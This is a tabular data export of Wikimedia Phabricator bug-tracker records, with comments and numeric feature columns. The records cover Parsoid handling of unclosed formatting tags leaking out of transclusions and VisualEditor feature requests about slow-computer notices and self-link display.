**Severity**: normal",Low,25.0,1372721640,1590072108.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-tl2v542il5zhvqmae5zl,task_description,resolved,True,c1,3,False,False,False,0,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,14.333333333333334,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,2.0,0.0,0.6666666666666666,1.0,19.333333333333332,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,10.333333333333334,4.16979255470304,0.6584967320261438,"URL

Relevant wikitext:

*{{Cite book| last=Fádil-i-Mázindarání | first= Asadu'lláh | authorlink = Mírzá Asadu’llah Fádil Mázandarání | year=1967 | title=Asráu'l-Á<u>th<u>ár, Vol.I| pages= 453 | publisher=Bahá'í Publishing Trust, Tehran | url = URL | ref=harv}}

(note the <u> isn't opened then closed, but double-opened)

Output HTML (with data-*, about and a few others stripped):

<li><span typeof=""mw:Transclusion""><a rel=""mw:WikiLink"" href=""..."">Fádil-i-Mázindarání, Asadu'lláh</a> (1967). <a rel=""mw:ExtLink"" href=""...""><i>Asráu'l-Á<u>th<u>ár, Vol.I</u></u></i></a><u><u>. Bahá'í Publishing Trust, Tehran. p.<span typeof=""mw:Entity"">&nbsp;</span>453.</u></u></span><u><u><span class=""Z3988""><span style=""display:none;""><span typeof=""mw:Entity"">&nbsp;</span></span></span></u></u></li><u><u>

<li>(next item here, note how we're still inside of <u><u>)

--------------------------
**Version**: unspecified
**Severity**: normal"
1508817,Unclosed formatting elements leaking out of transclusions,"Parsoid output and core output matches on this at this point since we are all in a HTML5 post-Tidy world. 

```
[subbu@earth:~/work/wmf/parsoid] echo '<ul><li>{{1x|<u>}}</li><li>foo</li></ul>' | php bin/parse.php --normalize
<ul>
<li><u></u></li>
<li><u>foo</u></li>
</ul>

[subbu@earth:~/work/wmf/parsoid] echo '<ul><li><u></li><li>foo</li></ul>' | php ../mediawiki/maintenance/parse.php
<ul><li><u></u></li><li><u>foo</u></li></ul><p><u>
</u></p>
```

Here is Parsoid's unnormalized output and wt2wt resluts:
```
[subbu@earth:~/work/wmf/parsoid] echo '<ul><li>{{1x|<u>}}</li><li>foo</li></ul>' | php bin/parse.php --body_only
<ul data-parsoid='{""stx"":""html"",""dsr"":[0,40,4,5]}'><li data-parsoid='{""stx"":""html"",""dsr"":[4,23,4,5]}'><u about=""#mwt1"" typeof=""mw:Transclusion"" data-parsoid='{""stx"":""html"",""autoInsertedEnd"":true,""dsr"":[8,18,null,null],""pi"":[[{""k"":""1""}]]}' data-mw='{""parts"":[{""template"":{""target"":{""wt"":""1x"",""href"":""./Template:1x""},""params"":{""1"":{""wt"":""&lt;u>""}},""i"":0}}]}'></u></li><li data-parsoid='{""stx"":""html"",""dsr"":[23,35,4,5]}'><u data-parsoid='{""stx"":""html"",""autoInsertedEnd"":true,""autoInsertedStart"":true,""dsr"":[27,30,0,0]}'>foo</u></li></ul>

[subbu@earth:~/work/wmf/parsoid] echo '<ul><li>{{1x|<u>}}</li><li>foo</li></ul>' | php bin/parse.php --wt2wt
<ul><li>{{1x|<u>}}</li><li>foo</li></ul>
```
As for the formatting leaking out of transclusions, the tree builder doesn't care about transclusion boundaries and it is unclear how much we ought to worry about it. Selser will still prevent that leakage from serializing back in most cases, but yes, if some of that content is edited, it will cause some minor dirty diffs.

We aren't going to add extra complexity to identify these leaked formatting elements and then expand the scope of the template (likely by migrating the meta-end tag to a different place in the DOM tree).

Since we have the Linter flagging ""syntax  errors"" like this ( https://www.mediawiki.org/wiki/Help:Lint_errors/multiple-unclosed-formatting-tags ), I am inclined to call this resolved since the best strategy here is to fix the wikitext lint errors.",,,1590072108,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,359,,2.0,0.0,0.0,0.5,1.0,7.5,2.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,0.0,2.5,1.5,5.5,14.5,0.0,3.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,4.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,14.0,1.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.5,3.0,2.0,10.5,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,4.0,14.5,2.0,0.0,1.0,0.0,4.0,0.0,0.5,1.0,0.0,3.5,0.0,1.0,0.0,3.97654370489174,0.7804063084736701,"Parsoid output and core output matches on this at this point since we are all in a HTML5 post-Tidy world. 

``CODE`CODE`CODE``
As for the formatting leaking out of transclusions, the tree builder doesn't care about transclusion boundaries and it is unclear how much we ought to worry about it. Selser will still prevent that leakage from serializing back in most cases, but yes, if some of that content is edited, it will cause some minor dirty diffs.

We aren't going to add extra complexity to identify these leaked formatting elements and then expand the scope of the template (likely by migrating the meta-end tag to a different place in the DOM tree).

Since we have the Linter flagging ""syntax  errors"" like this ( URL ), I am inclined to call this resolved since the best strategy here is to fix the wikitext lint errors."
333115,Unclosed formatting elements leaking out of transclusions,Is this still an issue? Last activity was 12 months ago…,,,1416945130,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,Is this still an issue? Last activity was 12 months ago…
245134,Unclosed formatting elements leaking out of transclusions,"Re-titling to reflect our plan [1] to avoid the leaking and match PHP parser semantics instead.,

[1]: https://www.mediawiki.org/wiki/Parsoid/DOM_notes",,,1386112099,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,3.2142857142857144,0.8571428571428571,"Re-titling to reflect our plan [1] to avoid the leaking and match PHP parser semantics instead.,

[1]: URL"
245129,Unclosed formatting elements leaking out of transclusions,"https://www.mediawiki.org/w/index.php?title=VisualEditor/Basic_example_worksheet&oldid=751458&veaction=edit

""Foo <tt>bar<tt>\n == Heading == * Lists""",,,1375204287,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,2.2222222222222223,0.7222222222222222,"URL

""Foo <tt>bar<tt>\n == Heading == * Lists"""
245125,Unclosed formatting elements leaking out of transclusions,"Change 73369 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 50536) Improved handling of tree-builder fixup

https://gerrit.wikimedia.org/r/73369",,,1373586328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9642857142857143,"Change 73369 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 50536) Improved handling of tree-builder fixup

GERRIT_URL"
245122,Unclosed formatting elements leaking out of transclusions,"The template encapsulation does not catch all template-affected content, so is not correct really. Alternatively we should be able to undo the leak to match the PHP parser's semantics. That would remove the need for extending the encapsulation in this case.",,,1373576627,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,1,,2.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.520833333333333,0.8125,"The template encapsulation does not catch all template-affected content, so is not correct really. Alternatively we should be able to undo the leak to match the PHP parser's semantics. That would remove the need for extending the encapsulation in this case."
245118,Unclosed formatting elements leaking out of transclusions,"No, the tpl encapsulation looks correct to me.  The tree builder correction in this case is quite broad and it would be hard to detect auto-correction as well.  On this last example, there are no autoInserted* flags except on the innermost <u> tag.  As long as we are using a html5 compliant tree builder, our options are a little limited on this kind of html without doing more complicated tracking/analyses.  I am not convinced those are worth the trouble and headaches.",,,1373053934,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.0,1.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,8.0,10.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,19.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,5.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,5.0,10.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,1.0,2.0,1.0,0.0,1.0,3.92,0.76,"No, the tpl encapsulation looks correct to me.  The tree builder correction in this case is quite broad and it would be hard to detect auto-correction as well.  On this last example, there are no autoInserted* flags except on the innermost <u> tag.  As long as we are using a html5 compliant tree builder, our options are a little limited on this kind of html without doing more complicated tracking/analyses.  I am not convinced those are worth the trouble and headaches."
245116,Unclosed formatting elements leaking out of transclusions,"Since this is a plain transclusion this is pretty much the behavior I would expect. The formatting is processed in accordance with the HTML spec.

I suspect tidy has a heuristic that closes the <u> at some point in contrast with the HTML spec.

Something that looks broken on the Parsoid side is the missing encapsulation for formatting that spans list items:

echo '<ul><li>{{echo|<u>}}</li><li>foo</li></ul>' | node parse
<body><ul>
  <li><u about=""#mwt1"" typeof=""mw:Transclusion"" data-mw='{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""<u>""}},""i"":0}'></u></li>
  <li><u>foo</u></li>
</ul>
<u>
</u></body>

(reformatted the above a bit and removed data-parsoid for clarity)

We should in theory be able to detect that the leaked <u>s were completely auto-inserted by the treebuilder. Maybe we can use that information to extend the encapsulation for cases like this one.",,,1372727019,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,0,,1.0,0.5,0.5,0.5,0.0,2.5,1.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,2.0,1.0,2.0,8.5,0.5,1.0,0.5,0.5,0.5,1.0,0.0,0.0,0.5,0.5,0.5,0.0,4.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.5,0.0,12.5,1.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,3.0,6.5,1.0,0.5,10.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.0,8.5,5.5,0.0,2.0,0.0,2.0,0.0,1.5,1.5,0.0,1.0,0.0,0.0,14.0,4.504245036572623,0.6800548589341693,"Since this is a plain transclusion this is pretty much the behavior I would expect. The formatting is processed in accordance with the HTML spec.

I suspect tidy has a heuristic that closes the <u> at some point in contrast with the HTML spec.

Something that looks broken on the Parsoid side is the missing encapsulation for formatting that spans list items:

echo '<ul><li>{{echo|<u>}}</li><li>foo</li></ul>' | node parse
<body><ul>
  <li><u about=""#mwt1"" typeof=""mw:Transclusion"" data-mw='{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""<u>""}},""i"":0}'></u></li>
  <li><u>foo</u></li>
</ul>
<u>
</u></body>

(reformatted the above a bit and removed data-parsoid for clarity)

We should in theory be able to detect that the leaked <u>s were completely auto-inserted by the treebuilder. Maybe we can use that information to extend the encapsulation for cases like this one."
245114,Unclosed formatting elements leaking out of transclusions,Diff showing resulting VE breakage: https://en.wikipedia.org/w/index.php?title=User:Adjwilley/sandbox10&curid=38366631&diff=562462441&oldid=562331693 . I'm not sure if the categories being dropped is on the VE or Parsoid side yet.,,,1372721716,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.769230769230769,0.8846153846153846,Diff showing resulting VE breakage: URL . I'm not sure if the categories being dropped is on the VE or Parsoid side yet.
52518,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"There should be an edit notice whenever someone tries to use VE which says something like ""Slower computers or users trying to use older markup should try editing in the older Editor."" and link to the older editor. Otherwise we're directly cutting off plenty of editors who can't figure it out, and would have relatively slow internet.

P.S. My internet is slow enough to not give a satisfactory VE experience, and I consider myself to have decent Indian speed internets

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372710300,,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,False,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_description,open,True,c1,3,False,False,,0,,0.0,1.0,0.0,0.0,1.5,7.5,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,3.5,0.0,5.0,6.5,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,3.5,1.5,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,1.0,0.0,0.5,0.5,0.5,2.5,1.5,9.0,0.5,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,6.5,2.0,0.0,1.0,0.0,4.0,0.0,1.5,1.5,1.0,1.5,2.0,0.0,0.0,4.3425925925925934,0.7685185185185186,"There should be an edit notice whenever someone tries to use VE which says something like ""Slower computers or users trying to use older markup should try editing in the older Editor."" and link to the older editor. Otherwise we're directly cutting off plenty of editors who can't figure it out, and would have relatively slow internet.

P.S. My internet is slow enough to not give a satisfactory VE experience, and I consider myself to have decent Indian speed internets

--------------------------
**Version**: unspecified
**Severity**: enhancement"
244031,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"Change 135046 abandoned by Alex Monk:
Attempt to detect slow machines and show an edit notice

Reason:
This is seemingly impossible for me to get right, and just not worth the effort

https://gerrit.wikimedia.org/r/135046",,,1401411908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,18.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,10.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.15,0.875,"Change 135046 abandoned by Alex Monk:
Attempt to detect slow machines and show an edit notice

Reason:
This is seemingly impossible for me to get right, and just not worth the effort

GERRIT_URL"
244028,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"Change 135046 had a related patch set uploaded by Alex Monk:
Attempt to detect slow machines and show an edit notice

https://gerrit.wikimedia.org/r/135046",,,1400859196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.36,1.0,"Change 135046 had a related patch set uploaded by Alex Monk:
Attempt to detect slow machines and show an edit notice

GERRIT_URL"
244022,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"We discussed how to do this in #mediawiki-visualeditor a bit. Some quotes:

<Krinkle> when a certain amount of time has passed (potentially taking the document complexity in account as well, avoid measuring network by accident), set a boolean flag, which in getEditnotices() will make it include/exclude that notice accordingly
<Krenair> I'm wondering what operation we should measure and what timing shows a reasonable speed
<Krinkle> Krenair: one or more of the actions in the setup of the surface (parsing of html into data DOM, conversion to linenar data model, building of CE etc.)

<Krenair> but those operations will all take different times depending on document length/complexity :/
<Krinkle> Krenair: Yes, but avoiding I mean, taking into account
<Krinkle> e.g. not `timespend > maxtime`, but something like `timespent/doc-size > maxratio`
<Krinkle> RoanKattouw might have some math ideas that are more useful
<Krinkle> However, we should probably do some research and see how slow the 'too slow' browsers really are.
<Krinkle> We might be able to measure it with a very simple operation at a small scale (e.g. create an iframe and attach it, just a random unused iframe), that that one operation is measurable enough, we can do it that way.
<Krenair> Hm. This is getting increasingly out of the 'MediaWiki integration' part
<Krinkle> The function calls are all in viewpagetarget in setupSurface
<Krinkle> though ideally this would probably be in ve-core, seems a useful statistis

Roan, could you comment on this when you have time please?",,,1399321807,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,44,,1.25,0.25,0.25,0.0,0.25,4.5,1.5,0.0,0.25,0.0,3.0,1.25,0.0,0.0,0.0,1.75,0.0,6.25,7.25,0.25,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.75,0.25,3.25,1.0,1.0,0.25,0.5,0.25,0.25,0.0,0.0,0.0,0.0,0.0,3.25,0.0,0.5,0.0,0.25,0.25,11.75,1.0,1.25,0.0,1.0,0.25,0.0,0.0,0.25,0.25,0.0,0.75,0.75,0.0,0.0,0.0,0.25,0.25,4.25,2.0,8.25,1.75,1.75,7.75,0.0,0.25,0.0,0.25,4.5,0.25,0.5,0.0,3.5,7.25,4.25,0.25,1.0,0.0,3.5,0.0,2.0,2.25,0.0,2.0,0.75,0.0,5.5,3.9444444444444446,0.7654320987654321,"We discussed how to do this in #mediawiki-visualeditor a bit. Some quotes:

<Krinkle> when a certain amount of time has passed (potentially taking the document complexity in account as well, avoid measuring network by accident), set a boolean flag, which in getEditnotices() will make it include/exclude that notice accordingly
<Krenair> I'm wondering what operation we should measure and what timing shows a reasonable speed
<Krinkle> Krenair: one or more of the actions in the setup of the surface (parsing of html into data DOM, conversion to linenar data model, building of CE etc.)

<Krenair> but those operations will all take different times depending on document length/complexity :/
<Krinkle> Krenair: Yes, but avoiding I mean, taking into account
<Krinkle> e.g. not CODE, but something like CODE
<Krinkle> RoanKattouw might have some math ideas that are more useful
<Krinkle> However, we should probably do some research and see how slow the 'too slow' browsers really are.
<Krinkle> We might be able to measure it with a very simple operation at a small scale (e.g. create an iframe and attach it, just a random unused iframe), that that one operation is measurable enough, we can do it that way.
<Krenair> Hm. This is getting increasingly out of the 'MediaWiki integration' part
<Krinkle> The function calls are all in viewpagetarget in setupSurface
<Krinkle> though ideally this would probably be in ve-core, seems a useful statistis

Roan, could you comment on this when you have time please?"
244015,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,Timo thinks we can measure performance and display an edit notice if it's slow.,,,1398879851,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,Timo thinks we can measure performance and display an edit notice if it's slow.
244008,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"The plan is to get rid of the beta welcome dialog relatively soon (in the next few months), however…",,,1398792650,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,43,,4.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.9565217391304348,"The plan is to get rid of the beta welcome dialog relatively soon (in the next few months), however…"
244001,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"So we already have the beta welcome dialog, I think we should add something like ""Users of slow computers should consider doing this."" after the ""You can keep using the wikitext editor by clicking the ""Edit source"" tab instead – unsaved changes will be lost.""",,,1398792405,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,43,,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,7.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,2.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9814814814814814,0.7962962962962963,"So we already have the beta welcome dialog, I think we should add something like ""Users of slow computers should consider doing this."" after the ""You can keep using the wikitext editor by clicking the ""Edit source"" tab instead – unsaved changes will be lost."""
52497,VisualEditor: Links to current page should show as bold,"When I add a link to the title of the page, it is displayed as a normal link instead of a <strong class=""selflink"">.

Same problem while editing a page with a 'selflink' already present.

